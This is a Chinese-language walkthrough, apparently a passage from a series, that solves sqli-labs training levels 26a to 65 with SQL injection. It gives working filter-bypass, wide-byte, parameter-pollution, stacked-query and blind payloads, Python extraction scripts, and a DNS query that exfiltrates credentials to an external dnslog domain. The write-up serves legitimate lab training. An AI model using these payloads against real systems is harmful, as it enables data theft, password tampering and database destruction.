?id=1%27%0banandd%0b1=2%0bunion%0bselect%0b1,2,(select%0bgroup_concat(username,passwoorrd%0bseparatoorr%0b0x3c62723e)%0bfrom%0bsecurity.users)%0b%27

Less-26a 空格绕过

验证注入点:?id=1’)%a0anandd%a0sleep(5)%a0oorr%a0(‘

利用闭合方式:?id=1%27)%a0anandd%a01=2%a0union%a0select%a01,2,3%a0oorr%a0(%27

这关的注入点验证和闭合方式和之前的有很点不同,获取数据也和之前的有所不同,因为注释符也是被过滤了的,然后闭合方式是 ('') ,我们无法直接通过 1') (' 闭合,因为这样会多出一个 ('') 导致 sql 语法错误

1
2
MySQL root@localhost:security> select * from users where id=('1') ('')
(1064, "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '('')' at line 1")

需要构造一下,使得后面的 ('') 无作用,即

1
2
3
4
5
6
7
8
MySQL root@localhost:security> select * from users where id=('1') or ('')
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set
Time: 0.010s

这里不能用 and ('') 因为后面为非(空),查询不到数据,用 or ('') 就行

最终获取数据查询语句,结合一下前面的绕过就OK了~

1
?id=1%27)%a0aandnd%a01=2%a0union%a0select%a01,(select%a0group_concat(username,passwoorrd%a0separatoorr%a00x3c62723e)%a0from%a0security.users),3%a0oorr%a0(%27

Less-27 union过滤

验证注入点:?id=1’

利用闭合方式:?id=1’%0a%26%261=2%0auNion%0aseLect%0a1,2,3%0a’

过滤比较敷衍,没有区分大小写,而且也可以通过双写绕过,这里尝试了一下 %0a 突然也可以替换空格了

获取数据

1
?id=1'%0A%26%26%0A1=2%0AuNion%0AseLect%0A1,group_concat(username),group_concat(password)%0Afrom%0Asecurity.users%0Awhere%0A1%26%26%0A'1

不知为啥下面分隔符没有效果

1
?id=1%27%0a%26%26%0a1=2%0auNion%0aseLect%0a1,2,(seLect%0agroup_concat(username,password%0aseparator%0a0x3c62723e)%0afrom%0asecurity.users)%0a%27

Less-27a union过滤

验证注入点:?id=1%22%26%26sleep(5)%7c%7c%22

利用闭合方式:?id=1%22%26%261%3d2%a0uNion%a0seLect%a01,2,3%7c%7c%22

与Less-27一样,但这里SQL语句为,注意前3行还有个双引号拼接,有点小坑,怪不得直接执行不行…

1
2
3
$id = '"' .$id. '"';

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

获取数据,发现这两a关闭合方式有点小trick,需要设法让多余的符号失效

1
?id=1%22%26%261%3d2%0auNion%0aseLect%0a1,2,(seLect%0agroup_concat(username,password%0aseparator%0a0x3c62723e)%0afrom%0asecurity.users)%0a%22

1
?id=1%22%26%261%3d2%0auNion%0aseLect%0a1,group_concat(username),group_concat(password)%0afrom%0asecurity.users%0awhere%0a1%7c%7c%22

Less-28 union select 过滤

验证注入点:?id=1%27)%26%26sleep(5)||(%27

利用闭合方式:?id=1’)%26%261%3d2%0Auniounion%0Aselectn%0Aselect%0A1,2,3||(‘

本次过滤

1
$id= preg_replace('/union\s+select/i',"", $id);

双写 uniounion%0aselectn%0aselect即可

获取数据

1
?id=1')%26%261%3d2%0Auniounion%0Aselectn%0Aselect%0A1,(seLect%0agroup_concat(username,password%0aseparator%0a0x3c62723e)%0afrom%0asecurity.users),3||('

Less-28a union select 过滤

这关只过滤了 union select,比Less-28过滤的还少,和 Less-28一样即可获取数据

Less-29 HPP绕过白名单

验证注入点:login.php?id=1&id=1’

利用闭合方式:login.php?id=1&id=1’ and 1=2 union select 1,2,3%23

这关 login.php 设置了一个白名单WAF,只允许数字,不过获取匹配的参数 $_SERVER['QUERY_STRING'] 然后匹配到第一个 id 就 break 掉了。但 PHP 通过 $_GET['id'] 获取是覆盖关系,即同时存在多个URL参数时,只获取最后一个。但WAF判断的是第1个,所以就可以绕过了。这种方式也叫HPP,HTTP 参数污染

获取数据

1
login.php?id=1&id=1' and 1=2 union select 1,2,(select group_concat(username,password separator 0x3c62723e) from security.users)%23

Less-30 && Less-31 HPP绕过白名单

验证注入点:login.php?id=1&id=1”

Less-30利用闭合方式:login.php?id=1&id=1” and 1=2 union select 1,2,3%23

Less-31利用闭合方式:login.php?id=1&id=1”) and 1=2 union select 1,2,3%23

只是和Less-29闭合方式不一样

Less-30获取数据

1
login.php?id=1&id=1" and 1=2 union select 1,2,(select group_concat(username,password separator 0x3c62723e) from security.users)%23

Less-31获取数据

1
login.php?id=1&id=1") and 1=2 union select 1,2,(select group_concat(username,password separator 0x3c62723e) from security.users)%23

Less-32 宽字节注入

验证注入点:?id=1%df%27

利用闭合方式:?id=1%df%27 and 1=2 union select 1,2,3%23

原理

客户端(如PHP,设置了GKB编码)-> 连接层(MySQL编码处理)-> 服务端(MySQL语句执行)

%df%27%65 -> %df%27%65 (因为前一个ascii码要大于128,MySQL才会认为需要两个字节组合,然后 %df%xx 会进行多字节编码) -> 导致%27没转义,进而导致注入

获取数据

1
?id=1%df%27 and 1=2 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3%23

Less-33 宽字节注入

同 Less-32,Less-32是自己写的过滤,Less-33是原生的,32的好像也是只能宽字节才行。

Less-34 POST 宽字节注入

验证注入点:uname=123%df’

利用闭合方式:uname=123%df’ or 1=1%23

获取数据

1
uname=1%df%27 and 1=2 union select (select group_concat(username,password separator 0x3c62723e) from security.users),2%23

除了SQL语句查询列数和POST方式,其他一样

Less-35 联合注入

验证注入点:?id=1’

利用闭合方式:?id=1 and 1=2 union select 1,2,3 #

获取数据

1
?id=1 and 1=2 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3%23

过滤了个寂寞(

Less-36 宽字节注入

验证注入点:?id=1%df%27

利用闭合方式:?id=1%df%27 and 1=2 union select 1,2,3%23

获取数据

1
?id=1%df%27 and 1=2 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3%23

和 Less-33 利用方式一样,只不过过滤函数从 addslashes 变成 mysql_real_escape_string

Less-37 POST 宽字节注入

利用方式同Less-34,过滤函数从 addslashes 变成 mysql_real_escape_string

Less-38 堆叠注入

验证注入点:?id=1’

利用闭合方式:?id=1’;

这个和之前SQL查询语句不同的是使用了 mysqli_multi_query ,SQL语句中分隔符为 ; ,这个语句允许我们通过 ; 同时执行多个语句

既然可以拼接任意语句,尝试获取版本

1
?id=-1';select 1,version(),3%23

发现前面就算执行为空,也不会拼接,这是因为服务端只获取第一条语句的执行结果

如果服务端没有返回每条语句执行的结果,则需要获取数据回显。

从国光那学到了一种只在Windows系统下有效的dnslog数据外带方式,因为 Windows下存在一种叫UNC(通用命名规则)

1
\\192.168.123.1\xxx\

我们平常在访问smb或者域机器的时候就挺熟悉这种访问方式的,就叫UNC,如果把IP换成域名,当然也会进行dns解析。因Linux没有这种东西,所以也没法进行dnslog数据外带了

这里使用Windows搭建个sqli-labs环境(注意phpstudy默认secure_file_priv=NULL 需要改 my.ini 在 [mysqld] 字段里增加 secure_file_priv ),然后写入

1
?id=1';select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from security.users limit 0,1),'.1di0pv.dnslog.cn\\a'))--+

即可获取数据,注意 limit 0,1 不能去掉,否则太长了会接收不到数据,不知是不是dnslog平台做了长度的限制image-20220220132415746

这里和普通的注入还有很大不同,普通注入一般只能只能select 操作,因是执行独立的sql语句,还可以执行增删改数据库表和表数据语句,如

1
2
3
4
?id=1';create database less38;%23
?id=1';drop database less38;%23
?id=1';insert into users(id,username,password) values('38','less38','less38');%23
?id=1';update users set username='less38p' where id='38';%23
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
MySQL root@localhost:security> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| bookstore3 |
| challenges |
| less38 |
| mysql |
| onebase |
| performance_schema |
| security |
| sys |
| xxl_job |
| xxxxx |
+--------------------+
11 rows in set
Time: 0.007s
MySQL root@localhost:security> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| bookstore3 |
| challenges |
| mysql |
| onebase |
| performance_schema |
| security |
| sys |
| xxl_job |
| xxxxx |
+--------------------+
10 rows in set
Time: 0.007s
MySQL root@localhost:security> select * from security.users
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | 123 |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | admin'# | 123 |
| 38 | less38 | less38 |
+----+----------+------------+
15 rows in set
Time: 0.008s
MySQL root@localhost:security> select * from security.users
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | 123 |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | admin'# | 123 |
| 38 | less38p | less38 |
+----+----------+------------+
15 rows in set
Time: 0.007s

最终补充一下,这几个堆叠注入都无法直接验证存在堆叠注入

Less-39 堆叠注入

验证注入点:?id=1’

利用闭合方式:?id=1;create database less39%23

闭合方式不一样,其余同 Less-38

获取所有数据库名称,验证数据库是否正常创建

1
?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23

Less-40 堆叠注入

验证注入点:1%27)%20and%20sleep(5)%23

利用闭合方式:?id=1’);create database less40%23

闭合方式不一样,其余同 Less-38

获取所有数据库名称,验证数据库是否正常创建

1
?id=-1') union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23

Less-41 堆叠注入

验证注入点:?id=1%20and%20sleep(5)%23

利用闭合方式:?id=1;create database less41%23

没有报错回显,其余同 Less-39

获取所有数据库名称,验证数据库是否正常创建

1
?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23

Less-42 POST 堆叠注入

验证注入点:login_user=admin&login_password=1'&mysubmit=Login

利用闭合方式:login_user=admin&login_password=1';update users set password='1' where username='admin'%23&mysubmit=Login

利用堆叠注入修改任意用户密码,即可正常登陆,然后这里还存在万能密码、联合报错时间注入问题,应有尽有

Less-43 POST 堆叠注入

验证注入点:login_user=admin&login_password=1'&mysubmit=Login

利用闭合方式:login_user=admin&login_password=1');update users set password='123' where username='admin'%23&mysubmit=Login

闭合方式不一样,其余同 Less-42

Less-44 POST 堆叠注入

验证注入点:login_user=admin&login_password=1' and sleep(5)%23&mysubmit=Login

利用闭合方式:login_user=admin&login_password=1');update users set password='123' where username='admin'%23&mysubmit=Login

没有报错回显,其余同 Less-42

Less-45 POST 堆叠注入

验证注入点:login_user=admin&login_password=1') and sleep(5)%23&mysubmit=Login

利用闭合方式:login_user=admin&login_password=1');update users set password='1' where username='admin'%23&mysubmit=Login

没有报错回显,其余同 Less-43

Less-46 order by 注入

验证注入点1:?sort=1’

验证注入点2:?sort=1 asc

验证注入点3:?sort=1 desc

如果验证注入点2和3的结果不一样,则表明可以注入

验证注入点4:?sort=sleep(5)

注意order by 注入不能使用联合注入,不然会报语法错误,我们先观察一下 SELECT 语句在MySQL官方的说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr] ...
[into_option]
[FROM table_references
[PARTITION partition_list]]
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[into_option]
[FOR UPDATE | LOCK IN SHARE MODE]

into_option: {
INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name] ...
}

order by 注入可以直接跟表达式,所以注入也比较宽松,如

  • 直接报错注入
1
?sort=updatexml(1,concat(0x7e,(select database()),0x7e),1)
  • 布尔盲注
1
?sort=rand(ascii(left(database(),1))=116)

因为 ascii(x)=x 的返回值为0或1,在这里没法根据返回结果区分,不过直接 rand(0) 和 rand(1) 返回值不一样,然后 order by 的结果是有差异的。

另外,从卿师傅里学到一种异或方式的order by 注入

1
id ^(select(select version()) regexp '^5')

regex 匹配成功返回 1 失败 返回 0,1 和 0 的二进制分别是 00000001 和 00000000,与 id 字段每个id值进行异或,除非所有id值都为奇数或偶数,不然必然会导致排序发生改变,如id依次是 1/2/3/4 与1异或分别变成 0/3/2/5,与 0 异或是其本身(异或运算的特点)

  • 时间盲注
1
?sort=if(ascii(substr(database(),1,1))=115,sleep(5),0)

正常延时,顺便试试 benchmark延时

1
?sort=if(ascii(substr(database(),1,1))=115,benchmark(500000000,md5('1')),0)

不行,应该是 benchmark 无论如何恒返回0,执不执行无所谓,这里编译器直接优化了?

1
?sort=(SELECT IF(SUBSTRING(current,1,1)=CHAR(115), BENCHMARK(50000000,md5('1')),0) FROM (select database() as current) as tb1)

这个语句就可以正常延时,可能表名这编译器优化问题,所以就执行 benchmark 没有直接获取返回值了,而是执行了

此外,也可以通过 and xxxx 拼接语句~

通过观察官方SELECT语句用法, PROCEDURE 存储过程的语句也可以用,比如说

1
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

mac上这个语句用不了,win和linux环境没问题~

获取表名

1
?sort=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)

获取字段名

1
?sort=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)

报错函数因有最长返回值限制,因此要获取字段的最大长度,然后分割获取,(这里创建了一个新表longcol和新的字段desc模拟数据长度大于64的场景)

1
?sort=updatexml(1,concat(0x7e,(select column_type from information_schema.columns where table_name='longcol' and table_schema='security' limit 0,1),0x7e),1)

返回:XPATH syntax error: '~int(11)~'

1
?sort=updatexml(1,concat(0x7e,(select column_type from information_schema.columns where table_name='longcol' and table_schema='security' limit 1,1),0x7e),1)

返回:XPATH syntax error: '~varchar(255)~'

获取数据

1
?sort=updatexml(1,concat(0x7e,(select mid(`desc`,1,30) from security.longcol),0x7e),1)
  • 这里 desc 要加反引号是因为 desc 是 MySQL 内置函数,直接使用会报错~
  • 不断改变 1,30 范围 ,最后变成 mid(`desc`,241,270) 即可获取该字段所有数据,当然也可以优雅些,当获取不到任何值时,就不获取了
  • 如果数据中间包含很长一段空格,页面前端看着会像只返回1个空格

Less-47 order by 注入 字符型

验证注入点:?sort=1’

利用闭合方式:?sort=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+

这里注意点就是不能通过直接 ' 闭合,可以 and ' 闭合,也可以通过注释闭合

获取数据

1
?sort=1' and updatexml(1,concat(0x7e,(select mid(`desc`,1,30) from security.longcol),0x7e),1)--+

Less-48 order by 盲注入

验证注入点:?sort=sleep(5)

利用闭合方式:if(ascii(substr(database(),1,1))=115,sleep(5),0)

这关关闭了报错注入,可以布尔盲注或者时间注入获取数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import time
import requests


def get_data():
result = ""
url_template = "http://tari.local:8888/sqli-labs/Less-48/?sort=if(ascii(substr((select email_id from emails limit 0,1),{0},1))={1},sleep(1),0)"
chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
for i in range(1, 17):
for char in chars:
char_ascii = ord(char)
url = url_template.format(i, char_ascii)
time_start = time.time()
_ = requests.get(url)
time_diff = time.time() - time_start
# 返回时间 > 5s
if time_diff > 5:
result += char
print(result)
break


get_data()

不知为啥延时时间是远大于1S的

Less-49 order by 盲注入 字符型

验证注入点:?sort=1’

利用闭合方式:?sort=1’ and if(ascii(substr(database(),1,1))=115,sleep(5),0)–+

闭合方式不一样,获取数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import time
import requests


def get_data():
result = ""
url_template = "http://tari.local:8888/sqli-labs/Less-49/?sort=1' and if(ascii(substr((select email_id from emails limit 0,1),{0},1))={1},sleep(1),0)--+"
chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
for i in range(1, 17):
for char in chars:
char_ascii = ord(char)
url = url_template.format(i, char_ascii)
time_start = time.time()
# print(url)
_ = requests.get(url)
time_diff = time.time() - time_start
# 返回时间 > 5s
if time_diff > 5:
result += char
print(result)
break


get_data()

这里注意 sort 后面要跟个值,不能直接接单引号

Less-50 order by 堆叠注入

验证注入点:?sort=1’

利用闭合方式:?sort=1;create database less50;

和普通堆叠注入没什么区别

Less-51 order by 堆叠注入

验证注入点:?sort=1’

利用闭合方式:?sort=1’;create database less51;

闭合方式和Less50不一样,其余一样

Less-52 order by 堆叠注入

验证注入点:?sort=sleep(5)

利用闭合方式:?sort=1;create database less52;

只是无报错回显了

Less-53 order by 堆叠注入

验证注入点:1%27%20and%20sleep(5)–+

利用闭合方式:?sort=1’;create database less53;

闭合方式和Less52不一样

Less-54

根据题意,限定10个语句从数据库 challenges 获取一个随机表中随机字段的值

因只是表和字段是随机的,那么前面的判断闭合方式、字段个数判断,回显占位是不用算到这10次里的

闭合方式

1
2
?id=1' and 1=1--+
?id=1' and 1=2--+

字段数

1
?id=1' order by 3--+

报错

1
?id=1' order by 4--+

占位符为第2/3个字段

1
?id=1' and 1=2 union select 1,2,3--+

获取随机表名

1
?id=1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+

获取随机表名的列名

1
?id=1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='ZZVWJ42YS5'),3--+

获取数据,其实只要三步接行了~

1
?id=1' and 1=2 union select 1,(select group_concat(secret_VRST) from challenges.ZZVWJ42YS5),3--+

Less-55

和 Less54一样,只是闭合方式不一样

1
2
?id=1) and 1=1--+
?id=1) and 1=2--+

快进到表名获取

1
?id=1) and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+

列名

1
?id=1) and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='ZZVWJ42YS5'),3--+

数据

1
?id=1) and 1=2 union select 1,(select group_concat(secret_VRST) from challenges.ZZVWJ42YS5),3--+

Less-56

同Less55,闭合方式不一样

1
?id=1') and 1=2 union select 1,(select group_concat(secret_VRST) from challenges.ZZVWJ42YS5),3--+

Less-57

同Less56,闭合方式不一样

1
?id=1" and 1=2 union select 1,(select group_concat(secret_VRST) from challenges.ZZVWJ42YS5),3--+

Less-58

因获取结果通过代码定义的数组,数据库报错也开着,把联合注入为报错注入

获取表

1
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+

获取字段

1
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ZZVWJ42YS5' and table_schema='challenges'),0x7e),1)--+

获取key

1
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_VRST) from challenges.ZZVWJ42YS5),0x7e),1)--+

Less-59

闭合方式不一样,其余见Less-58

获取数据

1
?id=1 and updatexml(1,concat(0x7e,(select group_concat(secret_VRST) from challenges.ZZVWJ42YS5),0x7e),1)--+

Less-60

闭合方式不一样,其余见Less-58

获取数据

1
?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_VRST) from challenges.ZZVWJ42YS5),0x7e),1)--+

Less-61

闭合方式不一样,其余见Less-58

获取数据

1
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_VRST) from challenges.ZZVWJ42YS5),0x7e),1)--+

Less-62

本关联合注入和报错注入都不行了,需要进行盲注

但此关限制了只能在 130 步内注入表名和数据字段以及数据,有点难度

1
.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz

常见字符及大小写已经有65个了…

首先想到二分法,但感觉也不太行

表名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests


def get_data():
result = ""
url_template = "http://tari.local:8888/sqli-labs/Less-62/?id=1') and ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),{0},1))>{1}--+"
chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
try_count = 0
for i in range(1, 11):
left, right = 0, len(chars) - 1
while left < right:
mid = (left + right) // 2
url = url_template.format(i, ord(chars[mid]))
resp = requests.get(url)
try_count += 1
if "Your Login name" in resp.text:
left = mid + 1
else:
right = mid
result += chars[left]
print(result)
print(try_count)


get_data()
# 输出
# ZZVWJ42YS5
# 60

字段名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests


def get_data():
result = ""
url_template = "http://tari.local:8888/sqli-labs/Less-62/?id=1') and ascii(substr(substr((select column_name from information_schema.columns where table_name='ZZVWJ42YS5' and table_schema='challenges' limit 2,1),8,4),{0},1))>{1}--+"
chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
try_count = 0
for i in range(1, 5):
left, right = 0, len(chars) - 1
while left < right:
mid = (left + right) // 2
url = url_template.format(i, ord(chars[mid]))
resp = requests.get(url)
try_count += 1
if "Your Login name" in resp.text:
left = mid + 1
else:
right = mid
result += chars[left]
print('secret_' + result)
print(try_count)


get_data()
# 输出
# secret_VRST
# 24

数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests


def get_data():
result = ""
url_template = "http://tari.local:8888/sqli-labs/Less-62/?id=1') and ascii(substr((select secret_VRST from challenges.ZZVWJ42YS5 limit 0,1),{0},1))>{1}--+"
chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
try_count = 0
for i in range(1, 25):
left, right = 0, len(chars) - 1
while left < right:
mid = (left + right) // 2
url = url_template.format(i, ord(chars[mid]))
resp = requests.get(url)
try_count += 1
if "Your Login name" in resp.text:
left = mid + 1
else:
right = mid
result += chars[left]
print(result)
print(try_count)


get_data()
# 输出
# 3rhRLEJ2V0XsjdlUsTCS5RJs
# 145

一共花费 229次,而且还是算准了字段长度,并且知道字段名前缀的前提下

网上搜了下别人的解法,tql orz

https://www.jianshu.com/p/f1811e108d58

原来还有多状态这种东西,并且虽然MySQL默认区分大小写,但在用等号 where 取列名字段时,是不区分大小写的,各种骚姿势,被秀到了…

其实也是通过 substr 每位获取,只不过获取的时候,不用把每位字符(上面二分法脚本里的 chars)一个个判断是否存在,而是通过页面返回结果来进行。但不是说这是盲注嘛?页面还是有返回具体的查询信息的,比如当 id=1时返回用户名为 Angelina(为啥不是数据库的 id 为1的用户名?因为PHP在代码层做了新数组映射),id=2时返回用户名是 Dummy,假如数据表中存在8条数据,我们把结果,假如 ASCII(SUBSTRING((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1), 1, 1)) 是 90,然后ascii可见字符在 0-128,也就是 8 位二进制足以表示。我们不用一位位去匹配字符表的每个字符(上面二分法脚本里的 chars),而是先 90 & 7 (00000111) = 290 & 56 (00111000) = 2490 & 224 (11100000) = 64,然后3种与运算结果通过 case when 把与运算后的情况,弄成8种状态(因为只有3个1,返回只有8种结果),通过页面返回的三种状态,分别是 securestupidsecure ,3个状态即可知道这个字符的8位二进制组成,然后就能得出第1个字符的ascii值是90。也就是原本我们需要一个个遍历 .0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz 每个字符,根据页面返回判断是否相等,如果该表存在多于8条数据,就能变成只要3次即可获取到1个字符内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/python3
# -*-coding:utf-8-*-

import re
import requests


url = "http://tari.local:8888/sqli-labs/Less-62/index.php" # 改成你的地址
try_count = 0

def extract_bits(query, i, j):
"""
获取query执行结果的第 i 个(从1开始算)字符的第 j 位开始的 3 个比特
"""
global try_count

payload = """
'+(
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark})
WHEN {0} THEN 1
WHEN {1} THEN 2
WHEN {2} THEN 3
WHEN {3} THEN 4
WHEN {4} THEN 5
WHEN {5} THEN 6
WHEN {6} THEN 7
ELSE 8
END
)+'
""".format(0, 2**j, 2**(j+1), 2**(j+1) + 2**j, 2**(j+2), 2**(j+2) + 2**j, 2**(j+2) + 2**(j+1), query=query, bit_mark=2**j + 2**(j+1) + 2**(j+2), i=i)
payload = re.sub(r'\s+', ' ', payload.strip().replace("\n", " "))
# print(payload)

resp = requests.get(url, params={"id": payload}, proxies={'http': 'http://127.0.0.1:8080'})
try_count += 1

info = {
"Angelina": "000",
"Dummy": "001",
"secure": "010",
"stupid": "011",
"superman": "100",
"batman": "101",
"admin": "110",
"admin1": "111"
}

match = re.search(r"Your Login name : (.*?)<br>", resp.text)
assert match
bits = info.get(match.group(1))
assert bits
return bits


def extract_data(query, length):
res = ""
for i in range(1, length+1):
b3 = extract_bits(query, i, 0) # 00000111
b2 = extract_bits(query, i, 3) # 00111000
b1 = extract_bits(query, i, 5) # 11100000
bit = b1[:2] + b2 + b3
res += chr(int(bit, 2))
return res


if __name__ == "__main__":
table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
print("table_name:", table_name)

column_name = "secret_" + extract_data(
"substr((select column_name from information_schema.columns where TABLE_name='" + table_name + "' limit 2,1),8,4)",
4
)
print("column_name:", column_name)

secret_key = extract_data("select " + column_name + " from challenges." + table_name, 24)
print("secret_key:", secret_key)

print("Done. try_count:", try_count)
# 执行结果
# table_name: ZZVWJ42YS5
# column_name: secret_VRST
# secret_key: 3rhRLEJ2V0XsjdlUsTCS5RJs
# Done. try_count: 114

过于秀~

Less-63

用Less-62多状态同 Less-62

Less-64

用Less-62多状态 payload 改一下闭合方式即可

1
2
3
4
5
6
7
8
9
10
11
12
payload = """
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark})
WHEN {0} THEN 1
WHEN {1} THEN 2
WHEN {2} THEN 3
WHEN {3} THEN 4
WHEN {4} THEN 5
WHEN {5} THEN 6
WHEN {6} THEN 7
ELSE 8
END
""".format(0, 2**j, 2**(j+1), 2**(j+1) + 2**j, 2**(j+2), 2**(j+2) + 2**j, 2**(j+2) + 2**(j+1), query=query, bit_mark=2**j + 2**(j+1) + 2**(j+2), i=i)

Less-65

用Less-62多状态 payload 改一下闭合方式即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
payload = """
\"+(
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark})
WHEN {0} THEN 1
WHEN {1} THEN 2
WHEN {2} THEN 3
WHEN {3} THEN 4
WHEN {4} THEN 5
WHEN {5} THEN 6
WHEN {6} THEN 7
ELSE 8
END
)+\"
""".format(0, 2**j, 2**(j+1), 2**(j+1) + 2**j, 2**(j+2), 2**(j+2) + 2**j, 2**(j+2) + 2**(j+1), query=query, bit_mark=2**j + 2**(j+1) + 2**(j+2), i=i)

总结

虽说用sqlmap是没有灵魂的,不得不说sqlmap是一款是否优秀的开源sql注入工具,为啥说没有灵魂?纯手工刷完靶场后,发现sqlmap给我们隐藏了很多很多的注入细节,所以练习不建议使用~

参考链接

[1] https://www.sqlsec.com/2020/05/sqlilabs.html

[2] https://www.cnblogs.com/lcamry/p/5763012.html

[3] https://www.cnblogs.com/-qing-/p/11610385.html

[4] https://github.com/lcamry/sqli-labs/blob/master/mysql-injection.pdf

评论